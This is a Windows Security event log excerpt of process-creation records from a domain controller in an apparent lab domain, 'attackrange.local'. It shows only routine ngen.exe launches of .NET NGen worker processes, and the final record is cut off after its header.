03/12/2021 12:02:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254298
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 0 -NGENProcess 314 -Pipe 358 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254297
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 350 -InterruptEvent 0 -NGENProcess 288 -Pipe 340 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254296
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x104c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 33c -Pipe 304 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254301
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x924
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 0 -NGENProcess 31c -Pipe 344 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254300
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x508
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 354 -Pipe 1e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254304
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x278
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 2f8 -Pipe 320 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254303
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 214 -InterruptEvent 0 -NGENProcess 33c -Pipe 30c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254302
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 2f8 -Pipe 35c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254307
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x574
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 2e0 -Pipe 2ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254306
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 22c -InterruptEvent 0 -NGENProcess 314 -Pipe 214 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254305
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 31c -Pipe 330 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254311
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf58
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 208 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 360 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254310
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 37c -InterruptEvent 0 -NGENProcess 388 -Pipe 390 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254309
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 384 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 310 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254308
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 360 -InterruptEvent 0 -NGENProcess 388 -Pipe 368 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254313
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 388 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 39c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254312
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 0 -NGENProcess 3a8 -Pipe 398 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254314
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3b0 -InterruptEvent 0 -NGENProcess 38c -Pipe 3b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
